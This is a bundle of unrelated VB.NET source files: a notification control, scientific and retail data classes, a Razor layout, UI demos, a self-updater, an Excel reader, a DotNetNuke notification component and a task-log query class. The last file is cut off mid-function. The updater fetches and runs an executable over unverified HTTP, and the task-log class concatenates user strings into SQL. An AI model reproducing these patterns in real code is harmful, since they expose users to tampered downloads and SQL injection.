<returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("The animation speed in ms")> _ Public Property speed() As Integer Get Return speedValue End Get Set(ByVal value As Integer) speedValue = value End Set End Property Private stackValue As stackDirection = stackDirection.below ''' <summary> ''' The direction new notifications stack in relation to this one. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("The direction new notifications stack in relation to this one.")> _ Public Property stack() As stackDirection Get Return stackValue End Get Set(ByVal value As stackDirection) stackValue = value End Set End Property Private styleNotifyValue As NotifyStyle = NotifyStyle.default ''' <summary> ''' Style the notify message ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("Style the notify message")> _ Public Property theme() As NotifyStyle Get Return styleNotifyValue End Get Set(ByVal value As NotifyStyle) styleNotifyValue = value End Set End Property Private checkIntervalValue As Integer = 1000 ''' <summary> ''' The interval the server is checked for a new notification ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("The interval the server is checked for a new notification")> _ Public Property checkInterval() As Integer Get Return checkIntervalValue End Get Set(ByVal value As Integer) If value > 0 AndAlso value < 200 Then value = 200 checkIntervalValue = value End Set End Property Private showOnLoadValue As Boolean ''' <summary> ''' Show the notification on page load ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("Show the notification on page load")> _ Public Property showOnLoad() As Boolean Get Return showOnLoadValue End Get Set(ByVal value As Boolean) showOnLoadValue = value End Set End Property Private alignVValue As alignVlocation = alignVlocation.top ''' <summary> ''' Verticle alignment ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("Verticle alignment")> _ Public Property alignV() As alignVlocation Get Return alignVValue End Get Set(ByVal value As alignVlocation) alignVValue = value End Set End Property Private alignHValue As alignHlocation = alignHlocation.right ''' <summary> ''' Horizontal alignment ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("Horizontal alignment")> _ Public Property alignH() As alignHlocation Get Return alignHValue End Get Set(ByVal value As alignHlocation) alignHValue = value End Set End Property #End Region #Region "Enums" Public Enum NotifyStyle [default] [error] [info] End Enum Public Enum StackDirection above below End Enum Enum alignHlocation left right End Enum Enum alignVlocation top bottom End Enum #End Region Friend WithEvents ajax As New AjaxCall Public Event alertCheck(ByVal sender As Object, ByVal args As EventArgs) Public Event alertClicked(ByVal sender As Object, ByVal title As String, ByVal message As String) ''' <summary> ''' Registers all necessary javascript and css files for this control to function on the page. ''' </summary> ''' <param name="page"></param> ''' <remarks></remarks> <System.ComponentModel.Description("Registers all necessary javascript and css files for this control to function on the page.")> _ Public Shared Sub registerControl(ByVal page As Page) If Not page Is Nothing Then jQueryLibrary.jQueryInclude.RegisterJQueryUI(page) jQueryLibrary.jQueryInclude.addScriptFile(page, "JqueryUIControls/jquery.topzindex.min.js") jQueryLibrary.jQueryInclude.addScriptFile(page, "JqueryUIControls/jquery.notify.min.js") jQueryLibrary.jQueryInclude.addScriptFile(page, "JqueryUIControls/ui.notify.css") End If End Sub Private Sub Control_Init(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Init ajax.returnFormat = AjaxCall.returnCall.Javascript ajax.ID = "ajax_" & Me.ID Me.Controls.Add(ajax) registerControl(Me.Page) End Sub Public Function renderShowScript(Optional ByVal chromnotify As Boolean = False) If chromnotify Then Return String.Format("{0}('{1}','{2}','{3}',12);" & vbCrLf, Me.ID, BaseClasses.BaseSecurityPage.JavaScriptEncode(Me.title), BaseClasses.BaseSecurityPage.JavaScriptEncode(Me.text), [Enum].GetName(GetType(NotifyStyle), Me.theme)) End If Return String.Format("{0}('{1}','{2}','{3}');" & vbCrLf, Me.ID, BaseClasses.BaseSecurityPage.JavaScriptEncode(Me.title), BaseClasses.BaseSecurityPage.JavaScriptEncode(Me.text), [Enum].GetName(GetType(NotifyStyle), Me.theme)) End Function Public Function renderShowScriptFunction() Dim positionStr As String = "" If Me.alignH = alignHlocation.left Then positionStr &= "left: 0pt;" If Me.alignV = alignVlocation.bottom Then positionStr &= "bottom: 0pt;" Dim outstr As String = vbCrLf & "window." & Me.ID & " =function(inTitle,inText,theme,showChromeNotify){" & vbCrLf outstr &= "appendNotifyContainer('container_" & Me.ID & "','" & positionStr & "');" & vbCrLf outstr &= "$('#container_" & Me.ID & "').notify('create', theme+'-notifytemplate', { title: inTitle, text: inText }, { " & vbCrLf outstr &= jsPropString("expires", expires) outstr &= jsPropString("speed", speed) If stack = StackDirection.above Then jsPropString("stack", "above") End If outstr &= vbCrLf & "open:function(e,instance){$(this).parent().topZIndex();}," & vbCrLf outstr &= vbCrLf & "click:function(e,instance){instance.close();}," & vbCrLf outstr &= vbCrLf & "close:function(e,instance){" & vbCrLf & "ajax_" & Me.ID & "('clicked##'+inTitle+'##'+inText);}" & vbCrLf outstr &= "});" & vbCrLf outstr &= "if(showChromeNotify)chromeNotification(inTitle,inText,'',function(e,instance){ ajax_" & Me.ID & "('clicked##'+inTitle+'##'+inText);});" & vbCrLf outstr &= "}" & vbCrLf Return outstr End Function Protected Overridable Function getInitialScript() As String Dim str As String = "" str &= renderShowScriptFunction() If Me.showOnLoad Then str &= "$(function(){" str &= renderShowScript() str &= " });" End If If checkInterval > 0 Then str &= "$(function(){ setInterval( 'ajax_" & Me.ID & "()'," & Me.checkInterval & "); });" End If Return str End Function Protected Overrides Sub Render(ByVal writer As System.Web.UI.HtmlTextWriter) MyBase.Render(writer) End Sub Private Sub ajax_callBack(ByVal sender As AjaxCall, ByVal value As String) Handles ajax.callBack If value.StartsWith("clicked") Then Dim vals As String() = value.Split(New String() {"##"}, StringSplitOptions.None) RaiseEvent alertClicked(Me, vals(1), vals(2)) Else RaiseEvent alertCheck(Me, EventArgs.Empty) End If ajax.respond(Nothing) End Sub Public Sub respond() ajax.respond(Nothing) End Sub Public Sub respond(ByVal Title As String, ByVal text As String) Me.title = Title Me.text = text ajax.respond("", renderShowScript()) End Sub Private Sub Notify_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender ajax.jsFunction = "ajax_" & Me.ID jQueryLibrary.jQueryInclude.addScriptBlock(Me.Page, getInitialScript, id:="js_" & Me.ID) End Sub End Class
#Region "Microsoft.VisualBasic::a4dc14dede28a67fccaabd6e8c567cbd, mzkit\src\mzmath\ms2_math-core\Ms1\ms1.vb" ' Author: ' ' xieguigang (gg.xie@bionovogene.com, BioNovoGene Co., LTD.) ' ' Copyright (c) 2018 gg.xie@bionovogene.com, BioNovoGene Co., LTD. ' ' ' MIT License ' ' ' Permission is hereby granted, free of charge, to any person obtaining a copy ' of this software and associated documentation files (the "Software"), to deal ' in the Software without restriction, including without limitation the rights ' to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ' copies of the Software, and to permit persons to whom the Software is ' furnished to do so, subject to the following conditions: ' ' The above copyright notice and this permission notice shall be included in all ' copies or substantial portions of the Software. ' ' THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ' IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ' FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ' AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ' LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ' OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ' SOFTWARE. ' /********************************************************************************/ ' Summaries: ' Code Statistics: ' Total Lines: 38 ' Code Lines: 21 ' Comment Lines: 10 ' Blank Lines: 7 ' File Size: 1.15 KB ' Class Ms1Feature ' ' Properties: ID, mz, rt ' ' Function: ToString ' ' Class MetaInfo ' ' Properties: name, xref ' ' /********************************************************************************/ #End Region Imports Microsoft.VisualBasic.ComponentModel.Collection.Generic Imports Microsoft.VisualBasic.ComponentModel.DataSourceModel.Repository Imports Microsoft.VisualBasic.ComponentModel.DataSourceModel.SchemaMaps Imports stdNum = System.Math ''' <summary> ''' The ms1 peak ''' </summary> Public Class Ms1Feature : Implements INamedValue, IMs1, IRetentionTime <Column(Name:="#ID")> Public Property ID As String Implements IKeyedEntity(Of String).Key Public Property mz As Double Implements IMs1.mz Public Property rt As Double Implements IMs1.rt Public Overrides Function ToString() As String Return $"{stdNum.Round(mz, 4)}@{rt}" End Function End Class ''' <summary> ''' 质谱标准品基本注释信息 ''' </summary> Public Class MetaInfo : Inherits Ms1Feature Public Property name As String ''' <summary> ''' 这个ms1信息所对应的物质在数据库之中的编号信息列表 ''' </summary> ''' <returns></returns> Public Property xref As Dictionary(Of String, String) End Class
Imports System.ComponentModel.DataAnnotations ''' <summary> ''' A string code to tie multiple PLUs together that are the same product, but that come in different colours/sizes. ''' </summary> Public Class clsStyleReference Inherits EskimoBaseClass Implements IValidatableObject <Required> <StringLength(20)> Property StyleID As String <Required> <StringLength(30)> Property DefaultTillDescription As String <Required> <StringLength(4000)> Property DefaultFullDescription As String <Required> Property DefaultProductDepartmentID As Integer <Required> Property DefaultSupplierID As Integer <Required> Property ProductTypeID As Integer <Required> Property ShopVisibility As clsShopVisibility <StringLength(50)> Property PersonalisationText As String Property PersonalisationSurCharge As Decimal <ValidCustomer> Property CustomerID As String = "000-000000" Public Function Validate(validationContext As ValidationContext) As IEnumerable(Of ValidationResult) Implements IValidatableObject.Validate Dim lst As New List(Of ValidationResult) If PersonalisationSurCharge < 0 Then lst.Add(New ValidationResult("The PersonalisationSurCharge cannot be negative")) Return lst End Function End Class
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width" /> <title>@ViewData("Title")</title> @Styles.Render("~/Content/css") @Scripts.Render("~/bundles/modernizr") </head> <body> <!---Comando para Fazer Include "RenderPage"---> @RenderPage("~/Views/Shared/_Topo.vbhtml") <!---Outro comando para Fazer Include "Html.Partial"---> @Html.Partial("_Menu") <hr/> @RenderBody() <hr/> @If IsSectionDefined("rodape") Then @RenderSection("rodape") 'Caso contrario inclui o Rodape Padrão Else @Html.Partial("_Rodape") end if @Scripts.Render("~/bundles/jquery") @RenderSection("scripts", required:=False) </body> </html> @If TempData("alert") IsNot Nothing Then @<text> <script type="text/javascript"> alert("@Html.Encode(TempData("alert"))"); </script> </text> End If @If IsSectionDefined("seguranca") Then @RenderSection("seguranca") Else @Html.Partial("_seguranca") End If
Imports DevExpress.DemoData Imports DevExpress.DemoData.Models Imports DevExpress.Utils Imports DevExpress.Xpf.Core Imports System Imports System.Collections.Generic Imports System.Windows Imports System.Windows.Controls Namespace CommonDemo <DevExpress.Xpf.DemoBase.CodeFile("ModuleResources/MultiColumnLookupEditorTemplates.xaml")> Partial Public Class StandaloneMultiColumnLookupEditor Inherits CommonDemoModule Private Property NWind() As NWindDataLoader Private ReadOnly Property Products() As IList(Of Product) Get Return DirectCast(lookUpEdit.DataContext, IList(Of Product)) End Get End Property Public Sub New() InitializeComponent() OptionsDataContext = lookUpEdit NWind = TryCast(Resources("NWindDataLoader"), NWindDataLoader) End Sub Private control As Control Private Sub lookUpEdit_ProcessNewValue(ByVal sender As DependencyObject, ByVal e As DevExpress.Xpf.Editors.ProcessNewValueEventArgs) If Not CBool(chProcessNewValue.IsChecked) Then Return End If control = New ContentControl With {.Template = CType(Resources("addNewRecordTemplate"), ControlTemplate), .Tag = e} Dim row As New Product() row.ProductName = e.DisplayText control.DataContext = row Dim owner As FrameworkElement = TryCast(sender, FrameworkElement) Dim closeHandler As DialogClosedDelegate = AddressOf CloseAddNewRecordHandler FloatingContainer.ShowDialogContent(control, owner, Size.Empty, New FloatingContainerParameters() With {.Title = "Add New Record", .AllowSizing = False, .ClosedDelegate = closeHandler, .ContainerFocusable = False, .ShowModal = True}) e.PostponedValidation = True e.Handled = True End Sub Private Sub CloseAddNewRecordHandler(ByVal close? As Boolean) If close.HasValue AndAlso close.Value Then Products.Add(DirectCast(control.DataContext, Product)) End If control = Nothing End Sub End Class End Namespace
Imports System.IO Imports System.Net ''' <summary>DownloadForm specifically designed to download a new ViBE Update</summary> Public Class DownloadForm '--------------------------------[Initialization]-------------------------------- ''' <summary>Setsup the DownloadForm</summary> Private Sub LoadingTime() Handles Me.Load 'Clear WhatsNew since we're updating If File.Exists(Application.UserAppDataPath & "\ViBE\WhatsNew.temp") Then File.Delete(Application.UserAppDataPath & "\ViBE\WhatsNew.temp") 'Hide ViBE VibeLogin.Hide() End Sub ''' <summary>Sets up and starts the download</summary> Private Sub Showtime() Handles Me.Shown 'Setup the progressbar ProgressBar1.Style = ProgressBarStyle.Continuous 'Setup our client Dim client As WebClient = New WebClient 'Add the handler for while we download, and when we're done AddHandler client.DownloadProgressChanged, AddressOf Client_ProgressChanged AddHandler client.DownloadFileCompleted, AddressOf Client_DownloadCompleted 'Download the update, ~ asynchronously ~ client.DownloadFileAsync(New Uri("http://igtnet-w.ddns.net:100/vibe.exe"), "NewVibe.exe") End Sub '--------------------------------[WebClient stuff]-------------------------------- Private Sub Client_ProgressChanged(ByVal sender As Object, ByVal e As DownloadProgressChangedEventArgs) Dim bytesIn As Double = Double.Parse(e.BytesReceived.ToString()) Dim totalBytes As Double = Double.Parse(e.TotalBytesToReceive.ToString()) Dim percentage As Double = bytesIn / totalBytes * 100 ProgressBar1.Value = Int32.Parse(Math.Truncate(percentage).ToString()) PercentageLabel.Text = Int32.Parse(Math.Truncate(percentage).ToString()) & "%" End Sub Private Sub Client_DownloadCompleted(ByVal sender As Object, ByVal e As System.ComponentModel.AsyncCompletedEventArgs) 'once its complete If File.Exists("NewVibe.exe") Then 'make sure it exists, we don't want to suddenly try to update to a non-existent file. 'Generate a small tiny batch file that'll kill ViBE twice (just in case) FileOpen(1, "UpdateVibe.bat", OpenMode.Output) PrintLine(1, "@echo off") PrintLine(1, "Taskkill /f /im ViBE.exe") PrintLine(1, "Taskkill /f /im ViBE.exe") 'Delete ViBE PrintLine(1, "del ViBE.exe") 'Rename our new copy to the old copy PrintLine(1, "Ren NewVibe.exe ViBE.exe") 'And start ViBE again PrintLine(1, "Start ViBE.exe") 'then start a tiny CMD window that will delete the update file. PrintLine(1, "start /b cmd /c del UpdateVibe.bat&exit /b") FileClose(1) 'Start it, and that's it. This is the last line of code executed on a copy of ViBE before it is replaced with a new one. Process.Start("UpdateVibe.bat") End If End Sub End Class
Imports System.Runtime.InteropServices Imports Excel = Microsoft.Office.Interop.Excel Public Class PlanilhaExcel Shared appXL As Excel.Application = Nothing Public Shared Function GetDadosColetor() As List(Of Bloco) appXL = New Excel.Application 'CreateObject("Excel.Application") Dim wbXL As Excel.Workbook = Nothing Dim shXL As Excel.Worksheet = Nothing Dim raXL As Excel.Range = Nothing Dim workSheetCell As Excel.Range = Nothing Dim usedRange As Excel.Range = Nothing Dim cells As Excel.Range = Nothing Dim columns As Excel.Range = Nothing wbXL = appXL.Workbooks.Open($"{My.Application.Info.DirectoryPath}\..\nome dos arquivos.xlsx") shXL = wbXL.Sheets(1) raXL = shXL.UsedRange workSheetCell = shXL.Cells usedRange = shXL.UsedRange cells = usedRange.Cells columns = cells.Columns Dim rowCount = raXL.Rows.Count Dim colCount = raXL.Columns.Count shXL = wbXL.ActiveSheet Dim listaDeBlocos As New List(Of Bloco) Try For i = 2 To rowCount Dim bloco As New Bloco Dim cellValue = CType(raXL.Cells(i, 1), Excel.Range) 'Cells retorna oject que e convertido para Range bloco.nomeArquivo = cellValue.Value.ToString cellValue = CType(raXL.Cells(i, 2), Excel.Range) 'Cells retorna oject que e convertido para Range bloco.comprimento = cellValue.Value.ToString cellValue = CType(raXL.Cells(i, 3), Excel.Range) 'Cells retorna oject que e convertido para Range bloco.profundidade = cellValue.Value.ToString cellValue = CType(raXL.Cells(i, 4), Excel.Range) 'Cells retorna oject que e convertido para Range bloco.altura = cellValue.Value.ToString cellValue = CType(raXL.Cells(i, 5), Excel.Range) 'Cells retorna oject que e convertido para Range bloco.peso = cellValue.Value.ToString & "kg" bloco.medidas = $"{bloco.comprimento}x{bloco.profundidade}x{bloco.altura}" listaDeBlocos.Add(bloco) Next Finally 'wbXL.Save() 'GC.Collect() 'GC.WaitForPendingFinalizers() If wbXL IsNot Nothing Then If columns IsNot Nothing Then Marshal.ReleaseComObject(columns) If cells IsNot Nothing Then Marshal.ReleaseComObject(cells) If usedRange IsNot Nothing Then Marshal.ReleaseComObject(usedRange) If workSheetCell IsNot Nothing Then Marshal.ReleaseComObject(workSheetCell) If shXL IsNot Nothing Then Marshal.ReleaseComObject(shXL) wbXL.Close() 'Marshal.FinalReleaseComObject(wbXL) End If 'raXL = Nothing 'shXL = Nothing 'wbXL = Nothing appXL.Quit() 'Marshal.FinalReleaseComObject(appXL) End Try Return listaDeBlocos End Function Public Shared Sub ExcelFinalizar() GC.Collect() GC.WaitForPendingFinalizers() 'appXL = Nothing Marshal.FinalReleaseComObject(appXL) End Sub End Class
' ' DotNetNuke® - http://www.dotnetnuke.com ' Copyright (c) 2002-2012 ' by DotNetNuke Corporation ' ' Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated ' documentation files (the "Software"), to deal in the Software without restriction, including without limitation ' the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and ' to permit persons to whom the Software is furnished to do so, subject to the following conditions: ' ' The above copyright notice and this permission notice shall be included in all copies or substantial portions ' of the Software. ' ' THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED ' TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL ' THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF ' CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER ' DEALINGS IN THE SOFTWARE. Imports DotNetNuke.Services.Social.Notifications Imports DotNetNuke.Security.Roles Namespace Components.Integration Public Class Notifications Public Const ContentTypeName As String = "DNN_Feedback" Public Const NotificationModerationRequiredTypeName As String = "FeedbackModeration" ''' <summary> ''' Informs the core journal that the user that a feedback entry needs moderation ''' </summary> ''' <param name="sendToRoles"></param> ''' <remarks></remarks> Friend Function SendFeedbackModerationNotification(ByVal sendToRoles() As String, ByVal senderUserID As Integer, ByVal subject As String, ByVal body As String, _ ByVal portalID As Integer, ByVal tabID As Integer, ByVal moduleID As Integer, ByVal feedbackID As Integer) As String Dim notificationType As NotificationType = NotificationsController.Instance.GetNotificationType(NotificationModerationRequiredTypeName) If notificationType Is Nothing Then notificationType = CreateFeedbackNotificationTypes(portalID) End If Dim notificationKey As String = String.Format("{0}:{1}:{2}:{3}:{4}", ContentTypeName + NotificationModerationRequiredTypeName, portalID, tabID, moduleID, feedbackID) Dim objNotification As New Notification Dim objUserController As New UserController() Dim senderUser As UserInfo = objUserController.GetUser(portalID, senderUserID) objNotification.NotificationTypeID = notificationType.NotificationTypeId objNotification.Subject = subject objNotification.Body = body objNotification.IncludeDismissAction = True objNotification.SenderUserID = senderUserID objNotification.Context = notificationKey objNotification.From = senderUser.DisplayName Dim colRoles As New Generic.List(Of RoleInfo) Dim objRoleController As New RoleController Dim colUsers As New Generic.List(Of UserInfo) For Each roleName As String In sendToRoles If Left(roleName, 1) = "[" And Right(roleName, 1) = "]" Then Dim objUser As UserInfo = objUserController.GetUser(portalID, CInt(Mid(roleName, 2, Len(roleName) - 2))) colUsers.Add(objUser) Else Dim objRole As RoleInfo = objRoleController.GetRoleByName(portalID, roleName) colRoles.Add(objRole) End If Next NotificationsController.Instance.SendNotification(objNotification, portalID, colRoles, colUsers) Return notificationKey End Function Private Function CreateFeedbackNotificationTypes(ByVal portalID As Integer) As NotificationType Dim deskModuleId As Integer = Entities.Modules.DesktopModuleController.GetDesktopModuleByModuleName("DNN_Feedback", portalID).DesktopModuleID Dim objNotificationType As NotificationType = New NotificationType objNotificationType.Name = NotificationModerationRequiredTypeName objNotificationType.Description = "Feedback Moderation Required" objNotificationType.DesktopModuleId = deskModuleId NotificationsController.Instance.CreateNotificationType(objNotificationType) Dim actions As Generic.List(Of NotificationTypeAction) = New Generic.List(Of NotificationTypeAction) Dim objAction As New NotificationTypeAction objAction.NameResourceKey = "ApproveFeedback" objAction.DescriptionResourceKey = "ApproveFeedback_Desc" objAction.ConfirmResourceKey = "ApproveFeedback_Confirm" objAction.APICall = "DesktopModules/Feedback/API/NotificationService.ashx/ApproveFeedback" objAction.Order = 1 actions.Add(objAction) objAction = New NotificationTypeAction objAction.NameResourceKey = "PrivateFeedback" objAction.DescriptionResourceKey = "PrivateFeedback_Desc" objAction.ConfirmResourceKey = "PrivateFeedback_Confirm" objAction.APICall = "DesktopModules/Feedback/API/NotificationService.ashx/PrivateFeedback" objAction.Order = 2 actions.Add(objAction) objAction = New NotificationTypeAction objAction.NameResourceKey = "ArchiveFeedback" objAction.DescriptionResourceKey = "ArchiveFeedback_Desc" objAction.ConfirmResourceKey = "ArchiveFeedback_Confirm" objAction.APICall = "DesktopModules/Feedback/API/NotificationService.ashx/ArchiveFeedback" objAction.Order = 3 actions.Add(objAction) objAction = New NotificationTypeAction objAction.NameResourceKey = "DeleteFeedback" objAction.DescriptionResourceKey = "DeleteFeedback_Desc" objAction.ConfirmResourceKey = "DeleteFeedback_Confirm" objAction.APICall = "DesktopModules/Feedback/API/NotificationService.ashx/DeleteFeedback" objAction.Order = 4 actions.Add(objAction) NotificationsController.Instance.SetNotificationTypeActions(actions, objNotificationType.NotificationTypeId) Return objNotificationType End Function Public Sub DeleteNotification(ByVal contextKey As String, ByVal notificationId As Integer) If NotificationId = Nothing Then Dim notificationType As NotificationType = NotificationsController.Instance.GetNotificationType(NotificationModerationRequiredTypeName) Dim oNotifications As System.Collections.Generic.IList(Of Notification) = NotificationsController.Instance().GetNotificationByContext(notificationType.NotificationTypeId, contextKey) For Each oNotification As Notification In oNotifications NotificationsController.Instance().DeleteNotification(oNotification.NotificationID) Next Else NotificationsController.Instance().DeleteNotification(NotificationId) End If End Sub End Class End Namespace
Imports SPIN.PropTrading.Common_VB Public Class TaskData #Region" Constants " Private Const TaskLogTable As String = "[Scheduler].[dbo].[tblTaskLog]" Private const TaskScheduleTable As String = "[Scheduler].[dbo].[tblTasks]" Private Const FailedTasksTodaySql As String = "SELECT [TaskName], MAX([Timestamp]) FROM " & TaskLogTable & " where TaskSucceeded = 0 and Timestamp > '$$DATE$$' GROUP BY TaskName" Private Const FailedEveryTimeSql As String = "SELECT [TaskName] FROM " & TaskLogTable & " where TaskSucceeded = 0 and Timestamp > '$$DATE$$' AND TaskName NOT IN (SELECT TaskName from " & TaskLogTable & " where TaskSucceeded = 1 and Timestamp > '$$DATE$$') group by taskname" Private const OneADayTaskSummarySql As String = "Select taskname, lastRun, TaskSucceeded from " & TaskScheduleTable & " where TaskEnabled = 1 and RunEveryNSeconds = 0 order by lastrun desc" Private Const RecurringTaskSummarySql as String="Select taskname, starttime, endtime, lastRun, TaskSucceeded from " & TaskScheduleTable & " where TaskEnabled = 1 and RunEveryNSeconds > 0 order by lastrun desc" Private Const MostRecentTasksSql as String = "SELECT TOP $$N$$ taskname, [TimeStamp], taskSucceeded FROM " & TaskLogTable & " WHERE Action = 'COMPLETE' Order By [TimeStamp] DESC" Private Const TotalTasksSql as string = "Select COUNT(*) as tasks FROM " & TaskLogTable & " where [Timestamp] > '$$FROM$$' and [Timestamp] < '$$TO$$' and Action = 'COMPLETE'" Private Const TotalSuccessSql as string = "Select COUNT(*) as success FROM " & TaskLogTable & " where [Timestamp] > '$$FROM$$' and [Timestamp] < '$$TO$$' and Action = 'COMPLETE' and TaskSucceeded = 1" Private Const TotalFailSql as String = "Select COUNT(*) as failure FROM " & TaskLogTable & " where [Timestamp] > '$$FROM$$' and [Timestamp] < '$$TO$$' and Action = 'COMPLETE' and TaskSucceeded = 0" Private Const GetLastRunSql As String = "Select TOP 1 Timestamp FROM " & TaskLogTable & " WHERE TaskName = '$$TASK$$' AND Action = 'Complete' Order by [Timestamp] Desc" Private Const GetLastSuccessSql As String = "Select TOP 1 Timestamp FROM " & TaskLogTable & " WHERE TaskName = '$$TASK$$' AND Action = 'Complete' AND TaskSucceeded = 1 Order by [Timestamp] Desc" Private Const GetLastFailureSql As String = "Select TOP 1 Timestamp FROM " & TaskLogTable & " WHERE TaskName = '$$TASK$$' AND Action = 'Complete' AND TaskSucceeded = 0 Order by [Timestamp] Desc" Private Const ConsecutiveFailuresSql As String = "SELECT * FROM " & TaskLogTable & " where taskname = '$$TASK$$' and Action = 'COMPLETE' Order by TimeStamp Desc" Private Const GetNotRunTodaySql As String = "select t.*, l.TimeStamp, CASE WHEN l.TimeStamp < GETDATE()-1 THEN '1' ELSE NULL END as Problem from tblTasks t INNER JOIN ( Select TaskName,MAX(Timestamp) as TimeStamp FROM tblTaskLog WHERE Action = 'STARTED' GROUP BY TaskName ) l On t.taskname = l.taskname AND t.TaskEnabled = 1 ORDER BY t.TaskType, t.TaskName" Private Const GetInProgressSql As String = "SELECT tmax.*, case when t.Timestamp IS NULL THEN 'IN PROG' END as inProg FROM ( Select TaskName, MAX(Timestamp) as TimeStamp FROM" & TaskLogTable & " WHERE Action = 'STARTED'" & " GROUP BY TaskName" & " ) tMax LEFT JOIN tblTaskLog t on t.TaskName = tMax.TaskName AND t.Action = 'COMPLETE' and t.Timestamp > tMax.TimeStamp" #End Region Public Function GetFailedTasksByDate(byref day As string)As List(Of String) Dim t As New List(Of String) Dim dt = _db.GetTable(FailedTasksTodaySql.Replace("$$DATE$$", day)) For Each dr As DataRow In dt.Rows t.Add(dr(0) & "," & dr(1)) Next 'add failure count to these results Return t End Function Public function Get1ADayTaskStatus() As Dictionary(Of String(), Boolean) Dim dt = _db.GetTable(OneADayTaskSummarySql) Dim tasks As New Dictionary(Of String(), Boolean) If Not dt Is Nothing Then for each dr As DataRow In dt.Rows tasks.Add({dr(0), dr(1)}, dr(2)) Next Return tasks End If Return nothing End function Public Function GetMostRecentTasks(ByRef amnt as integer) As Dictionary(Of String(), Boolean) dim dt = _db.GetTable(MostRecentTasksSql.replace("$$N$$", amnt)) dim tasks as new Dictionary(Of String(), Boolean) If Not dt Is Nothing Then for each dr As DataRow In dt.Rows tasks.Add({dr(0), dr(1)}, dr(2)) Next Return tasks End If Return nothing End Function Public function GetAllTasks() As List(Of String) Dim l As New List(Of String) Dim dt = _db.GetTable("Select Distinct TaskName from " & TaskScheduleTable & " WHERE TaskEnabled = 1") For each dr As DataRow In dt.Rows l.Add(dr(0)) Next Return l End function Public Function GetRecurringTaskStatus() As Dictionary(Of String(), Boolean) Dim dt = _db.GetTable(RecurringTaskSummarySql) Dim tasks As New Dictionary(Of String(), Boolean) If Not dt Is Nothing Then for each dr As DataRow In dt.Rows tasks.Add({dr(0), dr(1).ToString(), dr(2).ToString(), dr(3)}, dr(4)) Next Return tasks End If Return nothing End Function Public Function GetTaskStats(byref startdate as string, byref enddate As string, optional byref taskName as string = "") as Dictionary(of String, integer) Dim where As string If Not String.IsNullOrEmpty(taskName) Then where = " AND TaskName = '" & taskName & "'" Else where = "" End If dim stats as New Dictionary(Of string, integer) Dim totals = _db.GetTable(TotalTasksSql.Replace("$$FROM$$", startdate).Replace("$$TO$$", enddate) & where) Dim failure = _db.GetTable(TotalFailSql.Replace("$$FROM$$", startdate).Replace("$$TO$$", enddate) & where) Dim success = _db.GetTable(TotalSuccessSql.Replace("$$FROM$$", startdate).Replace("$$TO$$", enddate) & where) if Not totals.rows.count = 0 AndAlso Not failure.rows.count = 0 AndAlso Not success.rows.count = 0 then stats.Add("total", totals(0)(0)) stats.Add("success", success(0)(0)) stats.Add("failure", failure(0)(0)) End If return stats End Function Public Function GetNotRunToday()As List(Of String) Dim l As New List(Of String) Dim dt = _db.GetTable(GetNotRunTodaySql) For each r As DataRow In dt.Rows If not isDBNull(r("Problem")) then l.Add(r("TaskName") & "," & r("LastRun")) End if Next Return l End Function Public Function GetCompleteFailures(byref day As string) As List(Of String) Dim l As New List(Of String) Dim dt = _db.GetTable(FailedEveryTimeSql.Replace("$$DATE$$", day)) For each r As DataRow In dt.Rows l.Add(r(0)) Next Return l End Function Public function GetLastActivity(byref taskName As string, ByRef activity As Enums.TaskActivity) As String Dim sql As String Select Case True Case activity = Enums.TaskActivity.Failure sql = GetLastFailureSql Case activity = Enums.TaskActivity.Run sql = GetLastRunSql Case activity = Enums.TaskActivity.Success sql = GetLastSuccessSql End Select sql = sql.Replace("$$TASK$$", taskName) dim dt = _db.GetTable(sql) If dt.Rows.Count > 0 Then Return dt(0)(0) Return "No Data" End function Public Function GetCountActivity(ByRef taskName As String, byref activity As Enums.TaskActivity, ByRef startdate As String, ByRef enddate As string) As Integer Dim sql As String Dim where = " AND TaskName = '" & taskName & "'" Select Case True Case activity = Enums.TaskActivity.Failure sql = TotalFailSql.Replace("$$FROM$$", startdate).Replace("$$TO$$", enddate) & where Case activity = Enums.TaskActivity.Run sql = TotalTasksSql.Replace("$$FROM$$", startdate).Replace("$$TO$$", enddate) & where Case activity = Enums.TaskActivity.Success sql = TotalSuccessSql.Replace("$$FROM$$", startdate).Replace("$$TO$$", enddate) & where End Select Dim dt = _db.GetTable(sql) If dt.Rows.Count > 0 Then Return dt(0)(0) Return 0 End Function Public function GetBasicInfo(byref taskName As string) As Dictionary(Of String, String) Dim d As New Dictionary(Of String, String) Dim dt = 